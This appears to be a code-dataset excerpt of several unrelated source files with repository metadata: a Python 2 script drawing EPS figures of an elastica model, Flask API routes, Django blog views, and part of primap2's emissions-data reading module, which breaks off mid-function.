# coding: utf-8 # Copyright 2013 The Font Bakery Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # See AUTHORS.txt for the list of Authors and LICENSE.txt for the License. # # Figures for finite element model of elastica import sys from math import * def prolog(): print '%!PS-Adobe-3.0 EPSF' print '%%EndComments' print '%%EndProlog' print '%%Page: 1 1' print '/cshow {dup stringwidth exch -.5 mul exch rmoveto show} bind def' print '/circle { ss 0 moveto currentpoint exch ss sub exch ss 0 360 arc } bind def' def eps_trailer(): print '%%EOF' def arrow(x0, y0, len, th, headlen = 5, headwid = 6): print 'gsave', x0, y0, 'translate', th, 'rotate' print 0, 0, 'moveto', len - .5 * headlen, 0, 'lineto stroke' print len, 0, 'moveto', -headlen, -.5 * headwid, 'rlineto', 0, headwid, 'rlineto fill' print 'grestore' def strutfig(): prolog() print '/Times-Roman 12 selectfont' print 3, 'setlinewidth' print 100, 100, 'moveto', 200, 0, 'rlineto stroke' print .75, 'setlinewidth' arrow(100, 100, 50, 180) arrow(300, 100, 50, 0) print 75, 105, 'moveto (T) cshow' print 325, 105, 'moveto (T) cshow' print 'showpage' eps_trailer() def pivotfig(): prolog() th = 20 moment = 25 print 3, 'setlinewidth' print 'gsave', 300, 100, 'translate', -.5 * th, 'rotate' print 0, 0, 'moveto', -150, 0, 'rlineto stroke' print .75, 'setlinewidth' print 0, 0, 'moveto', 50, 0, 'rlineto stroke' print 40, 0, 'moveto', 0, 0, 40, 0, th, 'arc stroke' arrow(-150, 0, moment, 270) print 'grestore' print 'gsave', 300, 100, 'translate', .5 * th, 'rotate' print 0, 0, 'moveto', 150, 0, 'rlineto stroke' print '/ss', 4, 'def circle fill' print .75, 'setlinewidth' arrow(150, 0, moment, 270) print 'grestore' print .75, 'setlinewidth' arrow(300, 100, 2 * moment * cos(.5 * th * pi / 180), 90) print '/Symbol 12 selectfont' print 345, 96, 'moveto (Dq) show' print '/Times-Roman 12 selectfont' print 155, 109, 'moveto (M) show' print 455, 112, 'moveto (M) show' print 303, 125, 'moveto (2M) show 1 0 rmoveto (cos) show' print '/Symbol 12 selectfont 1 0 rmoveto ($Dq/2$) show' print 'showpage' eps_trailer() def chainfig(): prolog() th0 = 25 th1 = 30 th2 = 35 m = 1.5 thrad = 35 print 3, 'setlinewidth' print 'gsave', 300, 100, 'translate', -1 * th1, 'rotate' print 'gsave', -150, 0, 'translate', -1 * th0, 'rotate' print 0, 0, 'moveto', -100, 0, 'rlineto stroke' print .75, 'setlinewidth' print 0, 0, 'moveto', 50, 0, 'rlineto stroke' print thrad, 0, 'moveto', 0, 0, thrad, 0, th0, 'arc stroke' print '/ss', 4, 'def circle fill' print 'grestore' print 0, 0, 'moveto', -150, 0, 'rlineto stroke' print .75, 'setlinewidth' #print 0, 0, 'moveto', 50, 0, 'rlineto stroke' arrow(0, 0, 50, 0) arrow(0, 0, m * th0, 270) print thrad, 0, 'moveto', 0, 0, thrad, 0, th1, 'arc stroke' print 'grestore' print 'gsave', 300, 100, 'translate', 0, 'rotate' print 0, 0, 'moveto', 150, 0, 'rlineto stroke' print '/ss', 4, 'def circle fill' print .75, 'setlinewidth' arrow(0, 0, 50, 180) arrow(0, 0, m * th1 * 2 * cos(.5 * th1 * pi/180), 90 - .5 * th1) arrow(0, 0, m * th2, 270) print 150, 0, 'translate' print 0, 0, 'moveto', 50, 0, 'rlineto stroke' print thrad, 0, 'moveto', 0, 0, thrad, 0, th2, 'arc stroke' print 'grestore' print 'gsave', 450, 100, 'translate', 1 * th2, 'rotate' print 0, 0, 'moveto', 100, 0, 'rlineto stroke' print '/ss', 4, 'def circle fill' print 'grestore' print '/Symbol 12 selectfont' print 162 + thrad, 142, 'moveto (Dq) show' print '/Times-Roman 9 selectfont 0 -2 rmoveto (0) show' print '/Symbol 12 selectfont' print 302 + thrad, 85, 'moveto (Dq) show' print '/Times-Roman 9 selectfont 0 -2 rmoveto (1) show' print '/Symbol 12 selectfont' print 452 + thrad, 108, 'moveto (Dq) show' print '/Times-Roman 9 selectfont 0 -2 rmoveto (2) show' print '/Times-Roman 12 selectfont' print 233, 96, 'moveto (T) show' print '/Times-Roman 9 selectfont 0 -2 rmoveto (1) show' print '/Times-Roman 12 selectfont' print 345, 70, 'moveto (T) show' print '/Times-Roman 9 selectfont 0 -2 rmoveto (0) show' print '/Times-Roman 12 selectfont' print 286 - 10 * m, 92 - 23 * m, 'moveto (M) show' print '/Times-Roman 9 selectfont 0 -2 rmoveto (0) show' print '/Times-Roman 12 selectfont' print 296 + 14 * m, 102 + 58 * m, 'moveto (2M) show' print '/Times-Roman 9 selectfont 0 -2 rmoveto (1) show' print '/Times-Roman 12 selectfont 1 2 rmoveto (cos$) show' print '/Symbol 12 selectfont 1 0 rmoveto (Dq) show' print '/Times-Roman 9 selectfont 0 -2 rmoveto (1) show' print '/Times-Roman 12 selectfont 0 2 rmoveto (/2$) show' print '/Times-Roman 12 selectfont' print 296, 92 - 36 * m, 'moveto (M) show' print '/Times-Roman 9 selectfont 0 -2 rmoveto (2) show' print '/Times-Roman 12 selectfont' print 240, 140, 'moveto (0) show' print 375, 105, 'moveto (1) show' print 495, 140, 'moveto (2) show' print 'showpage' eps_trailer() if __name__ == '__main__': figname = sys.argv[1] if len(figname) > 4 and figname[-4:] == '.pdf': figname = figname[:-4] if figname == 'strutfig': strutfig() elif figname == 'pivotfig': pivotfig() elif figname == 'chainfig': chainfig()

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null

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null

0

1

0

1

0

2

2022075e4ea2fb0fe56fd0893ae255992ccd6f7b

640

py

Python

resources/routes.py

costayca/SmallAPIUserAndIngredients

0806274599b1e7d9a48f8a3d8bd5cd4355f9d01b

[ "MIT" ]

null

resources/routes.py

costayca/SmallAPIUserAndIngredients

0806274599b1e7d9a48f8a3d8bd5cd4355f9d01b

[ "MIT" ]

null

resources/routes.py

costayca/SmallAPIUserAndIngredients

0806274599b1e7d9a48f8a3d8bd5cd4355f9d01b

[ "MIT" ]

null

from .movie import MovieApi, MoviesApi from .auth import SignupApi, LoginApi from .ingredient import IngredientApi, IngredientsApi # from .kerasApi import KerasApi from .fastaiApi import FastaiApi def initialize_routes(api): api.add_resource(MoviesApi, '/api/movies') api.add_resource(MovieApi, '/api/movies/<id>') api.add_resource(IngredientsApi, '/api/ingredients') api.add_resource(IngredientApi, '/api/ingredients/<id>') api.add_resource(SignupApi, '/api/auth/signup') api.add_resource(LoginApi, '/api/auth/login') # api.add_resource(KerasApi, '/api/keras') api.add_resource(FastaiApi, '/api/fastai')

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null

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20456537a5c6aea960473d2a9276610b6f2f1cc1

1,416

py

Python

blogging/views.py

greeneyedsoandso/django

7b4c5c9ec75cdc34de0fdaf6c3c705539cea0dfc

[ "Unlicense" ]

null

blogging/views.py

greeneyedsoandso/django

7b4c5c9ec75cdc34de0fdaf6c3c705539cea0dfc

[ "Unlicense" ]

2

2020-11-22T22:34:56.000Z

2020-11-25T03:59:30.000Z

blogging/views.py

greeneyedsoandso/django

7b4c5c9ec75cdc34de0fdaf6c3c705539cea0dfc

[ "Unlicense" ]

null

from django.shortcuts import render from django.http import HttpResponse, HttpResponseRedirect, Http404 from django.template import loader from blogging.models import Post from django.views.generic.list import ListView from django.views.generic.detail import DetailView from django.shortcuts import redirect from django import forms from django.utils import timezone from blogging.forms import MyCommentForm from blogging.models import Comment from django.views.generic.edit import CreateView class PostListView(ListView): template_name = "blogging/list.html" queryset = Post.objects.exclude(published_date__exact=None).order_by( "-published_date" ) class PostDetailView(DetailView): model = Post template_name = "blogging/detail.html" queryset = Post.objects.exclude(published_date__exact=None) class CommentCreateView(CreateView): model = Comment template_name = "blogging/add.html" fields = [] def add_model(self, request): if request.method == "POST": form = MyCommentForm(request.POST) if form.is_valid(): model_instance = form.save(commit=False) model_instance.timestamp = timezone.now() model_instance.save() return redirect("/") else: form = MyCommentForm() return render(request, "blogging/add.html", {"object": form})

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null

0

null

0

1

0

1

0

2

204adb67c86260fa9da2f822cd26c121d399b5b3

52,013

py

Python

primap2/pm2io/_data_reading.py

mikapfl/primap2

a2f15cae9f7e3fabdc5d109f5e33e144de0faf97

[ "ECL-2.0", "Apache-2.0" ]

1

2021-05-17T17:38:37.000Z

primap2/pm2io/_data_reading.py

mikapfl/primap2

a2f15cae9f7e3fabdc5d109f5e33e144de0faf97

[ "ECL-2.0", "Apache-2.0" ]

84

2021-02-10T14:30:20.000Z

2022-03-23T13:24:50.000Z

primap2/pm2io/_data_reading.py

mikapfl/primap2

a2f15cae9f7e3fabdc5d109f5e33e144de0faf97

[ "ECL-2.0", "Apache-2.0" ]

2

2021-02-10T10:22:41.000Z

2021-02-10T14:22:08.000Z

import datetime import itertools from pathlib import Path from typing import ( IO, Any, Callable, Dict, Hashable, Iterable, List, Optional, Set, Union, ) import numpy as np import pandas as pd from loguru import logger from .. import _alias_selection from .._units import ureg from . import _conversion from ._interchange_format import ( INTERCHANGE_FORMAT_COLUMN_ORDER, INTERCHANGE_FORMAT_MANDATORY_COLUMNS, INTERCHANGE_FORMAT_OPTIONAL_COLUMNS, ) SEC_CATS_PREFIX = "sec_cats__" NA_VALUES = [ "nan", "NE", "-", "NA, NE", "NO,NE", "NA,NE", "NE,NO", "NE0", "NO, NE", ] def convert_long_dataframe_if( data_long: pd.DataFrame, *, coords_cols: Dict[str, str], add_coords_cols: Dict[str, List[str]] = None, coords_defaults: Optional[Dict[str, Any]] = None, coords_terminologies: Dict[str, str], coords_value_mapping: Optional[Dict[str, Any]] = None, coords_value_filling: Optional[Dict[str, Dict[str, Dict]]] = None, filter_keep: Optional[Dict[str, Dict[str, Any]]] = None, filter_remove: Optional[Dict[str, Dict[str, Any]]] = None, meta_data: Optional[Dict[str, Any]] = None, time_format: str = "%Y-%m-%d", ) -> pd.DataFrame: """convert a DataFrame in long (tidy) format into the PRIMAP2 interchange format. Columns can be renamed or filled with default values to match the PRIMAP2 structure. Where we refer to "dimensions" in the parameter description below we mean the basic dimension names without the added terminology (e.g. "area" not "area (ISO3)"). The terminology information will be added by this function. You can not use the short dimension names in the attributes (e.g. "cat" instead of "category"). Parameters ---------- data_long: str, pd.DataFrame Long format DataFrame file which will be converted. coords_cols : dict Dict where the keys are column names in the files to be read and the value is the dimension in PRIMAP2. To specify the data column containing the observable, use the "data" key. For secondary categories use a ``sec_cats__`` prefix. add_coords_cols : dict, optional Dict where the keys are PRIMAP2 additional coordinate names and the values are lists with two elements where the first is the column in the dataframe to be converted and the second is the primap2 dimension for the coordinate (e.g. ``category`` for a ``category_name`` coordinate. coords_defaults : dict, optional Dict for default values of coordinates / dimensions not given in the csv files. The keys are the dimension names and the values are the values for the dimensions. For secondary categories use a ``sec_cats__`` prefix. coords_terminologies : dict Dict defining the terminologies used for the different coordinates (e.g. ISO3 for area). Only possible coordinates here are: area, category, scenario, entity, and secondary categories. For secondary categories use a ``sec_cats__`` prefix. All entries different from "area", "category", "scenario", "entity", and ``sec_cats__<name>`` will raise a ValueError. coords_value_mapping : dict, optional A dict with primap2 dimension names as keys. Values are dicts with input values as keys and output values as values. A standard use case is to map gas names from input data to the standardized names used in primap2. Alternatively a value can also be a function which transforms one CSV metadata value into the new metadata value. A third possibility is to give a string as a value, which defines a rule for translating metadata values. For the "category", "entity", and "unit" columns, the rule "PRIMAP1" is available, which translates from PRIMAP1 metadata to PRIMAP2 metadata. coords_value_filling : dict, optional A dict with primap2 dimension names as keys. These are the target columns where values will be filled (or replaced). Vales are dicts with primap2 dimension names as keys. These are the source columns. The values are dicts with source value - target value mappings. The value filling can do everything that the value mapping can, but while mapping can only replace values within a column using information from that column, the filing function can also fill or replace data based on values from a different column. This can be used to e.g. fill missing category codes based on category names or to replace category codes which do not meet the terminology using the category names. filter_keep : dict, optional Dict defining filters of data to keep. Filtering is done before metadata mapping, so use original metadata values to define the filter. Column names are as in the csv file. Each entry in the dict defines an individual filter. The names of the filters have no relevance. Default: keep all data. filter_remove : dict, optional Dict defining filters of data to remove. Filtering is done before metadata mapping, so use original metadata values to define the filter. Column names are as in the csv file. Each entry in the dict defines an individual filter. The names of the filters have no relevance. meta_data : dict, optional Meta data for the whole dataset. Will end up in the dataset-wide attrs. Allowed keys are "references", "rights", "contact", "title", "comment", "institution", and "history". Documentation about the format and meaning of the meta data can be found in the `data format documentation <https://primap2.readthedocs.io/en/stable/data_format_details.html#dataset-attributes>`_. # noqa: E501 time_format : str, optional strftime style format used to format the time information for the data columns in the interchange format. Default: "%F", i.e. the ISO 8601 date format. Returns ------- obj: pd.DataFrame pandas DataFrame with the read data Examples -------- *Example for meta_mapping*:: meta_mapping = { 'pyCPA_col_1': {'col_1_value_1_in': 'col_1_value_1_out', 'col_1_value_2_in': 'col_1_value_2_out', }, 'pyCPA_col_2': {'col_2_value_1_in': 'col_2_value_1_out', 'col_2_value_2_in': 'col_2_value_2_out', }, } *Example for filter_keep*:: filter_keep = { 'f_1': {'variable': ['CO2', 'CH4'], 'region': 'USA'}, 'f_2': {'variable': 'N2O'} } This example filter keeps all CO2 and CH4 data for the USA and N2O data for all countries *Example for filter_remove*:: filter_remove = { 'f_1': {'scenario': 'HISTORY'}, } This filter removes all data with 'HISTORY' as scenario """ # Check and prepare arguments if coords_defaults is None: coords_defaults = {} if add_coords_cols is None: add_coords_cols = {} if meta_data is None: attrs = {} else: attrs = meta_data.copy() check_mandatory_dimensions(coords_cols, coords_defaults) check_overlapping_specifications(coords_cols, coords_defaults) if add_coords_cols: check_overlapping_specifications_add_cols(coords_cols, add_coords_cols) filter_data(data_long, filter_keep, filter_remove) add_dimensions_from_defaults( data_long, coords_defaults, additional_allowed_coords=["time"] ) naming_attrs = rename_columns( data_long, coords_cols, add_coords_cols, coords_defaults, coords_terminologies ) attrs.update(naming_attrs) additional_coordinates = additional_coordinate_metadata( add_coords_cols, coords_cols, coords_terminologies ) if coords_value_mapping is not None: map_metadata(data_long, attrs=attrs, meta_mapping=coords_value_mapping) if coords_value_filling is not None: data_long = fill_from_other_col( data_long, attrs=attrs, coords_value_filling=coords_value_filling ) coords = list(set(data_long.columns.values) - {"data"}) harmonize_units(data_long, dimensions=coords, attrs=attrs) data_long["time"] = pd.to_datetime(data_long["time"], format=time_format) data, coords = long_to_wide(data_long, time_format=time_format) data, coords = sort_columns_and_rows(data, dimensions=coords) dims = coords.copy() for add_coord in add_coords_cols.keys(): dims.remove(add_coord) data.attrs = interchange_format_attrs_dict( xr_attrs=attrs, time_format=time_format, dimensions=dims, additional_coordinates=additional_coordinates, ) return data def read_long_csv_file_if( filepath_or_buffer: Union[str, Path, IO], *, coords_cols: Dict[str, str], add_coords_cols: Dict[str, List[str]] = None, coords_defaults: Optional[Dict[str, Any]] = None, coords_terminologies: Dict[str, str], coords_value_mapping: Optional[Dict[str, Any]] = None, coords_value_filling: Optional[Dict[str, Dict[str, Dict]]] = None, filter_keep: Optional[Dict[str, Dict[str, Any]]] = None, filter_remove: Optional[Dict[str, Dict[str, Any]]] = None, meta_data: Optional[Dict[str, Any]] = None, time_format: str = "%Y-%m-%d", ) -> pd.DataFrame: """Read a CSV file in long (tidy) format into the PRIMAP2 interchange format. Columns can be renamed or filled with default values to match the PRIMAP2 structure. Where we refer to "dimensions" in the parameter description below we mean the basic dimension names without the added terminology (e.g. "area" not "area (ISO3)"). The terminology information will be added by this function. You can not use the short dimension names in the attributes (e.g. "cat" instead of "category"). Parameters ---------- filepath_or_buffer: str, pathlib.Path, or file-like Long CSV file which will be read. coords_cols : dict Dict where the keys are column names in the files to be read and the value is the dimension in PRIMAP2. To specify the data column containing the observable, use the "data" key. For secondary categories use a ``sec_cats__`` prefix. add_coords_cols : dict, optional Dict where the keys are PRIMAP2 additional coordinate names and the values are lists with two elements where the first is the column in the csv file to be read and the second is the primap2 dimension for the coordinate (e.g. ``category`` for a ``category_name`` coordinate. coords_defaults : dict, optional Dict for default values of coordinates / dimensions not given in the csv files. The keys are the dimension names and the values are the values for the dimensions. For secondary categories use a ``sec_cats__`` prefix. coords_terminologies : dict Dict defining the terminologies used for the different coordinates (e.g. ISO3 for area). Only possible coordinates here are: area, category, scenario, entity, and secondary categories. For secondary categories use a ``sec_cats__`` prefix. All entries different from "area", "category", "scenario", "entity", and ``sec_cats__<name>`` will raise a ValueError. coords_value_mapping : dict, optional A dict with primap2 dimension names as keys. Values are dicts with input values as keys and output values as values. A standard use case is to map gas names from input data to the standardized names used in primap2. Alternatively a value can also be a function which transforms one CSV metadata value into the new metadata value. A third possibility is to give a string as a value, which defines a rule for translating metadata values. For the "category", "entity", and "unit" columns, the rule "PRIMAP1" is available, which translates from PRIMAP1 metadata to PRIMAP2 metadata. coords_value_filling : dict, optional A dict with primap2 dimension names as keys. These are the target columns where values will be filled (or replaced). Vales are dicts with primap2 dimension names as keys. These are the source columns. The values are dicts with source value - target value mappings. The value filling can do everything that the value mapping can, but while mapping can only replace values within a column using information from that column, the filing function can also fill or replace data based on values from a different column. This can be used to e.g. fill missing category codes based on category names or to replace category codes which do not meet the terminology using the category names. filter_keep : dict, optional Dict defining filters of data to keep. Filtering is done before metadata mapping, so use original metadata values to define the filter. Column names are as in the csv file. Each entry in the dict defines an individual filter. The names of the filters have no relevance. Default: keep all data. filter_remove : dict, optional Dict defining filters of data to remove. Filtering is done before metadata mapping, so use original metadata values to define the filter. Column names are as in the csv file. Each entry in the dict defines an individual filter. The names of the filters have no relevance. meta_data : dict, optional Meta data for the whole dataset. Will end up in the dataset-wide attrs. Allowed keys are "references", "rights", "contact", "title", "comment", "institution", and "history". Documentation about the format and meaning of the meta data can be found in the `data format documentation <https://primap2.readthedocs.io/en/stable/data_format_details.html#dataset-attributes>`_. # noqa: E501 time_format : str, optional strftime style format used to format the time information for the data columns in the interchange format. Default: "%F", i.e. the ISO 8601 date format. Returns ------- obj: pd.DataFrame pandas DataFrame with the read data Examples -------- *Example for meta_mapping*:: meta_mapping = { 'pyCPA_col_1': {'col_1_value_1_in': 'col_1_value_1_out', 'col_1_value_2_in': 'col_1_value_2_out', }, 'pyCPA_col_2': {'col_2_value_1_in': 'col_2_value_1_out', 'col_2_value_2_in': 'col_2_value_2_out', }, } *Example for filter_keep*:: filter_keep = { 'f_1': {'variable': ['CO2', 'CH4'], 'region': 'USA'}, 'f_2': {'variable': 'N2O'} } This example filter keeps all CO2 and CH4 data for the USA and N2O data for all countries *Example for filter_remove*:: filter_remove = { 'f_1': {'scenario': 'HISTORY'}, } This filter removes all data with 'HISTORY' as scenario """ check_mandatory_dimensions(coords_cols, coords_defaults) check_overlapping_specifications(coords_cols, coords_defaults) if add_coords_cols: check_overlapping_specifications_add_cols(coords_cols, add_coords_cols) data_long = read_long_csv(filepath_or_buffer, coords_cols, add_coords_cols) return convert_long_dataframe_if( data_long=data_long, coords_cols=coords_cols, add_coords_cols=add_coords_cols, coords_defaults=coords_defaults, coords_terminologies=coords_terminologies, coords_value_mapping=coords_value_mapping, coords_value_filling=coords_value_filling, filter_keep=filter_keep, filter_remove=filter_remove, meta_data=meta_data, time_format=time_format, ) def long_to_wide( data_long: pd.DataFrame, *, time_format: str ) -> (pd.DataFrame, Set[str]): data_long["time"] = data_long["time"].dt.strftime(time_format) coords = list(set(data_long.columns.values) - {"data", "time"}) # unit is neither a coordinate nor a data column, so has to be handled separately unit = data_long[coords].drop_duplicates() coords.remove("unit") unit.index = pd.MultiIndex.from_frame(unit[coords]) series = data_long["data"] series.index = pd.MultiIndex.from_frame(data_long[coords + ["time"]]) data = series.unstack("time") data["unit"] = unit["unit"] data.reset_index(inplace=True) data.columns.name = None return data, coords + ["unit"] def convert_wide_dataframe_if( data_wide: pd.DataFrame, *, coords_cols: Dict[str, str], add_coords_cols: Dict[str, List[str]] = None, coords_defaults: Optional[Dict[str, Any]] = None, coords_terminologies: Dict[str, str], coords_value_mapping: Optional[Dict[str, Any]] = None, coords_value_filling: Optional[Dict[str, Dict[str, Dict]]] = None, filter_keep: Optional[Dict[str, Dict[str, Any]]] = None, filter_remove: Optional[Dict[str, Dict[str, Any]]] = None, meta_data: Optional[Dict[str, Any]] = None, time_format: str = "%Y", time_cols: Optional[List] = None, ) -> pd.DataFrame: """ Convert a DataFrame in wide format into the PRIMAP2 interchange format. Columns can be renamed or filled with default values to match the PRIMAP2 structure. Where we refer to "dimensions" in the parameter description below we mean the basic dimension names without the added terminology (e.g. "area" not "area (ISO3)"). The terminology information will be added by this function. You can not use the short dimension names in the attributes (e.g. "cat" instead of "category"). TODO: Currently duplicate data points will not be detected. TODO: enable filtering through query strings TODO: enable specification of the entity terminology Parameters ---------- data_wide: pd.DataFrame Wide DataFrame which will be converted. coords_cols : dict Dict where the keys are PRIMAP2 dimension names and the values are column names in the dataframe to be converted. For secondary categories use a ``sec_cats__`` prefix. add_coords_cols : dict, optional Dict where the keys are PRIMAP2 additional coordinate names and the values are lists with two elements where the first is the column in the dataframe to be converted and the second is the primap2 dimension for the coordinate (e.g. ``category`` for a ``category_name`` coordinate. coords_defaults : dict, optional Dict for default values of coordinates / dimensions not given in the dataframe. The keys are the dimension names and the values are the values for the dimensions. For secondary categories use a ``sec_cats__`` prefix. coords_terminologies : dict Dict defining the terminologies used for the different coordinates (e.g. ISO3 for area). Only possible coordinates here are: area, category, scenario, entity, and secondary categories. For secondary categories use a ``sec_cats__`` prefix. All entries different from "area", "category", "scenario", "entity", and ``sec_cats__<name>`` will raise a ValueError. coords_value_mapping : dict, optional A dict with primap2 dimension names as keys. Values are dicts with input values as keys and output values as values. A standard use case is to map gas names from input data to the standardized names used in primap2. Alternatively a value can also be a function which transforms one CSV metadata value into the new metadata value. A third possibility is to give a string as a value, which defines a rule for translating metadata values. The only defined rule at the moment is "PRIMAP1" which can be used for the "category", "entity", and "unit" columns to translate from PRIMAP1 metadata to PRIMAP2 metadata. coords_value_filling : dict, optional A dict with primap2 dimension names as keys. These are the target columns where values will be filled (or replaced). Vales are dicts with primap2 dimension names as keys. These are the source columns. The values are dicts with source value - target value mappings. The value filling can do everything that the value mapping can, but while mapping can only replace values within a column using information from that column, the filing function can also fill or replace data based on values from a different column. This can be used to e.g. fill missing category codes based on category names or to replace category codes which do not meet the terminology using the category names. filter_keep : dict, optional Dict defining filters of data to keep. Filtering is done before metadata mapping, so use original metadata values to define the filter. Column names are as in the csv file. Each entry in the dict defines an individual filter. The names of the filters have no relevance. Default: keep all data. filter_remove : dict, optional Dict defining filters of data to remove. Filtering is done before metadata mapping, so use original metadata values to define the filter. Column names are as in the csv file. Each entry in the dict defines an individual filter. The names of the filters have no relevance. meta_data : dict, optional Meta data for the whole dataset. Will end up in the dataset-wide attrs. Allowed keys are "references", "rights", "contact", "title", "comment", "institution", and "history". Documentation about the format and meaning of the meta data can be found in the `data format documentation <https://primap2.readthedocs.io/en/stable/data_format_details.html#dataset-attributes>`_. # noqa: E501 time_format : str str with strftime style format used to parse the time information for the data columns. Default: "%Y", which will match years. time_cols : list, optional List of column names which contain the data for each time point. If not given cols will be inferred using time_format. Returns ------- obj: pd.DataFrame pandas DataFrame with the read data Examples -------- *Example for meta_mapping*:: meta_mapping = { 'pyCPA_col_1': {'col_1_value_1_in': 'col_1_value_1_out', 'col_1_value_2_in': 'col_1_value_2_out', }, 'pyCPA_col_2': {'col_2_value_1_in': 'col_2_value_1_out', 'col_2_value_2_in': 'col_2_value_2_out', }, } *Example for filter_keep*:: filter_keep = { 'f_1': {'variable': ['CO2', 'CH4'], 'region': 'USA'}, 'f_2': {'variable': 'N2O'} } This example filter keeps all CO2 and CH4 data for the USA and N2O data for all countries *Example for filter_remove*:: filter_remove = { 'f_1': {'scenario': 'HISTORY'}, } This filter removes all data with 'HISTORY' as scenario """ # Check and prepare arguments if coords_defaults is None: coords_defaults = {} if add_coords_cols is None: add_coords_cols = {} if meta_data is None: attrs = {} else: attrs = meta_data.copy() check_mandatory_dimensions(coords_cols, coords_defaults) check_overlapping_specifications(coords_cols, coords_defaults) if add_coords_cols: check_overlapping_specifications_add_cols(coords_cols, add_coords_cols) # get all the columns that are actual data not metadata (usually the years) if time_cols is None: time_columns = [ col for col in data_wide.columns.values if matches_time_format(col, time_format) ] else: time_columns = time_cols # make a copy of the data to not alter the input data data_if = data_wide.copy() filter_data(data_if, filter_keep, filter_remove) add_dimensions_from_defaults(data_if, coords_defaults) naming_attrs = rename_columns( data_if, coords_cols, add_coords_cols, coords_defaults, coords_terminologies ) attrs.update(naming_attrs) additional_coordinates = additional_coordinate_metadata( add_coords_cols, coords_cols, coords_terminologies ) if coords_value_mapping is not None: map_metadata(data_if, attrs=attrs, meta_mapping=coords_value_mapping) if coords_value_filling is not None: data_if = fill_from_other_col( data_if, attrs=attrs, coords_value_filling=coords_value_filling ) coords = list(set(data_if.columns.values) - set(time_columns)) harmonize_units(data_if, dimensions=coords, attrs=attrs) data_if, coords = sort_columns_and_rows(data_if, dimensions=coords) dims = coords.copy() for add_coord in add_coords_cols.keys(): dims.remove(add_coord) data_if.attrs = interchange_format_attrs_dict( xr_attrs=attrs, time_format=time_format, dimensions=dims, additional_coordinates=additional_coordinates, ) return data_if def read_wide_csv_file_if( filepath_or_buffer: Union[str, Path, IO], *, coords_cols: Dict[str, str], add_coords_cols: Dict[str, List[str]] = None, coords_defaults: Optional[Dict[str, Any]] = None, coords_terminologies: Dict[str, str], coords_value_mapping: Optional[Dict[str, Any]] = None, coords_value_filling: Optional[Dict[str, Dict[str, Dict]]] = None, filter_keep: Optional[Dict[str, Dict[str, Any]]] = None, filter_remove: Optional[Dict[str, Dict[str, Any]]] = None, meta_data: Optional[Dict[str, Any]] = None, time_format: str = "%Y", ) -> pd.DataFrame: """Read a CSV file in wide format into the PRIMAP2 interchange format. Columns can be renamed or filled with default values to match the PRIMAP2 structure. Where we refer to "dimensions" in the parameter description below we mean the basic dimension names without the added terminology (e.g. "area" not "area (ISO3)"). The terminology information will be added by this function. You can not use the short dimension names in the attributes (e.g. "cat" instead of "category"). TODO: Currently duplicate data points will not be detected. TODO: enable filtering through query strings TODO: enable specification of the entity terminology Parameters ---------- filepath_or_buffer: str, pathlib.Path, or file-like Wide CSV file which will be read. coords_cols : dict Dict where the keys are PRIMAP2 dimensions and the values are column names in the files to be read. For secondary categories use a ``sec_cats__`` prefix. add_coords_cols : dict, optional Dict where the keys are PRIMAP2 additional coordinate names and the values are lists with two elements where the first is the column in the csv file to be read and the second is the primap2 dimension for the coordinate (e.g. ``category`` for a ``category_name`` coordinate. coords_defaults : dict, optional Dict for default values of coordinates / dimensions not given in the csv files. The keys are the dimension names and the values are the values for the dimensions. For secondary categories use a ``sec_cats__`` prefix. coords_terminologies : dict Dict defining the terminologies used for the different coordinates (e.g. ISO3 for area). Only possible coordinates here are: area, category, scenario, entity, and secondary categories. For secondary categories use a ``sec_cats__`` prefix. All entries different from "area", "category", "scenario", "entity", and ``sec_cats__<name>`` will raise a ValueError. coords_value_mapping : dict, optional A dict with primap2 dimension names as keys. Values are dicts with input values as keys and output values as values. A standard use case is to map gas names from input data to the standardized names used in primap2. Alternatively a value can also be a function which transforms one CSV metadata value into the new metadata value. A third possibility is to give a string as a value, which defines a rule for translating metadata values. The only defined rule at the moment is "PRIMAP1" which can be used for the "category", "entity", and "unit" columns to translate from PRIMAP1 metadata to PRIMAP2 metadata. coords_value_filling : dict, optional A dict with primap2 dimension names as keys. These are the target columns where values will be filled (or replaced). Vales are dicts with primap2 dimension names as keys. These are the source columns. The values are dicts with source value - target value mappings. The value filling can do everything that the value mapping can, but while mapping can only replace values within a column using information from that column, the filing function can also fill or replace data based on values from a different column. This can be used to e.g. fill missing category codes based on category names or to replace category codes which do not meet the terminology using the category names. filter_keep : dict, optional Dict defining filters of data to keep. Filtering is done before metadata mapping, so use original metadata values to define the filter. Column names are as in the csv file. Each entry in the dict defines an individual filter. The names of the filters have no relevance. Default: keep all data. filter_remove : dict, optional Dict defining filters of data to remove. Filtering is done before metadata mapping, so use original metadata values to define the filter. Column names are as in the csv file. Each entry in the dict defines an individual filter. The names of the filters have no relevance. meta_data : dict, optional Meta data for the whole dataset. Will end up in the dataset-wide attrs. Allowed keys are "references", "rights", "contact", "title", "comment", "institution", and "history". Documentation about the format and meaning of the meta data can be found in the `data format documentation <https://primap2.readthedocs.io/en/stable/data_format_details.html#dataset-attributes>`_. # noqa: E501 time_format : str, optional strftime style format used to parse the time information for the data columns. Default: "%Y", which will match years. Returns ------- obj: pd.DataFrame pandas DataFrame with the read data Examples -------- *Example for meta_mapping*:: meta_mapping = { 'pyCPA_col_1': {'col_1_value_1_in': 'col_1_value_1_out', 'col_1_value_2_in': 'col_1_value_2_out', }, 'pyCPA_col_2': {'col_2_value_1_in': 'col_2_value_1_out', 'col_2_value_2_in': 'col_2_value_2_out', }, } *Example for filter_keep*:: filter_keep = { 'f_1': {'variable': ['CO2', 'CH4'], 'region': 'USA'}, 'f_2': {'variable': 'N2O'} } This example filter keeps all CO2 and CH4 data for the USA and N2O data for all countries *Example for filter_remove*:: filter_remove = { 'f_1': {'scenario': 'HISTORY'}, } This filter removes all data with 'HISTORY' as scenario """ # Check and prepare arguments if coords_defaults is None: coords_defaults = {} check_mandatory_dimensions(coords_cols, coords_defaults) check_overlapping_specifications(coords_cols, coords_defaults) if add_coords_cols: check_overlapping_specifications_add_cols(coords_cols, add_coords_cols) data, time_columns = read_wide_csv( filepath_or_buffer, coords_cols, add_coords_cols=add_coords_cols, time_format=time_format, ) data = convert_wide_dataframe_if( data, coords_cols=coords_cols, add_coords_cols=add_coords_cols, 